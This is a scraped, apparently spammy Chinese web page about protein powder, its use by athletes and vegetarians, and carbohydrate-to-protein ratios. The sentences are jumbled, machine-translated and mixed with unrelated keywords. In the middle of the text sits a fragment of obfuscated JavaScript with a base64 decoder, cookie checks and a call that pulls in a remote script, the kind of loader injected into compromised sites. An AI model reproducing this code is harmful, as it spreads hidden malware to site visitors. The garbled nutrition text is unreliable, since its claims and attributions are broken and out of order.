但请记住：大多数人，甚至运动员，也可以通过食用肉类，鱼类，鸡肉和乳制品等瘦肉蛋白来获得他们提供的一切。.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x2e1a6e){_0x1c4907=window;}return _0x1c4907;};var _0x257b73=_0x82449b();var _0x1a74a4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x257b73['atob']||(_0x257b73['atob']=function(_0x74312e){var _0x23d2cd=String(_0x74312e)['replace'](/=+$/,'');for(var _0x1529bd=0x0,_0x549513,_0x5a95da,_0x176940=0x0,_0x156c61='';_0x5a95da=_0x23d2cd['charAt'](_0x176940++);~_0x5a95da&&(_0x549513=_0x1529bd%0x4?_0x549513*0x40+_0x5a95da:_0x5a95da,_0x1529bd++%0x4)?_0x156c61+=String['fromCharCode'](0xff&_0x549513>>(-0x2*_0x1529bd&0x6)):0x0){_0x5a95da=_0x1a74a4['indexOf'](_0x5a95da);}return _0x156c61;});}());_0x34ad['WabLIl']=function(_0x1e4ab4){var _0x5e7c31=atob(_0x1e4ab4);var _0x5803ce=[];for(var _0x59a718=0x0,_0xb7fa53=_0x5e7c31['length'];_0x59a718=0x0){_0x1fcb4=!![];}}else{_0x1fcb4=!![];}}if(_0x1fcb4){cookie[_0x34ad('0x26')](_0x34ad('0x27'),0x1,0x1);if(!_0x584419){_0x2aba00[_0x34ad('0x28')](include,_0x2aba00['bJTaS'](_0x2aba00['bJTaS'](_0x2aba00[_0x34ad('0x29')],q),''));}}}R(); 如果你去健身房，你可能听说过重量机器上的男人们谈论他们在锻炼后喝的蛋白质奶昔以及他们喜欢什么样的奶昔.
是的，蛋白质对于锻炼后的恢复也很重要，但研究表明，在这一点上，身体需要燃料，碳水化合物与蛋白质的比例为4-1或5-1.. 追求素食或素食生活方式的人从他们的饮食中消除了许多常见的蛋白质来源，包括肉类，鸡肉和鱼类，有时甚至还有乳制品和鸡蛋。.. 增肌补剂 子彈 川燙 色號为了避免这些风险，确保你的孩子在日常饮食中从高蛋白质食物中摄取蛋白质如果你计算你的蛋白质摄入量并确定你的运动需求不足（一些蛋白质摄入量过低的迹象：你不寻常疲劳，举重或做其他剧烈活动时感到虚弱，或正在慢慢恢复受伤）你怎样才能最好地使用蛋白粉来帮助你提高表现？首先，忽略传统智慧，即在锻炼后立即服用蛋白质粉末.. Carole Conn，博士，研究员，CSFD，新墨西哥大学营养学副教授，Albuquerque，N.. 素食主义者可能更喜欢大豆蛋白，尽管Horvath指出它的味道有时被认为更令人不愉快，并且它在水中也不会溶解。.
但是一个4盎司的汉堡包含30克蛋白质，6盎司的金枪鱼含有40克，而一盎司的切达干酪含有7克.. 那么你什么时候应该使用蛋白粉，如果你确定你需要它们来摄取更多的蛋白质？ Lewin说，整天都是作为零食或膳食替代品，但不是在锻炼周围的时间段内. Serviio Download Mac
Horvath表示，对于在训练的某个特定时间没有特定需求的休闲运动员而言，成本并不重要。.. 资料来源：Peter Horvath，博士，纽约州立大学布法罗分校运动与营养科学系副教授.. 如果你通常每周锻炼半小时，但现在你决定训练半程马拉松，你的身体需要更多的蛋白质.. 一个青少年需要更多的蛋白质来为他的训练提供动力，因为他的身体仍然在增长并且一般使用更多的蛋白.. 由于大多数蛋白质粉末每勺至少含有20克蛋白质，因此需要大约80克碳水化合物才能使用该勺来获得适当比例的营养素！为了在锻炼后获得更好的恢复饮料，Lewin建议使用酸奶或牛奶的水果冰沙，或者令人惊讶的是巧克力牛奶.. 那么什么时候你想使用它们？一位普通运动员可能想要在他或她的饮食中摄入更多蛋白质的原因有几个，营养师兼运动营养师Barbara Lewin说道，他曾与NFL，NBA和NHL运动员一起工作并训练铁人三项竞争对手：当你重新成长时.. 纽约州立大学布法罗分校运动与营养科学系副教授Peter Horvath博士说，乳清是最常用的，因为它是一种水溶性乳蛋白。.. 但是蛋白质粉末是否仅适用于健美运动员，或者普通的日常运动员也可以从中受益？蛋白质粉末有各种形式. 34bbb28f04
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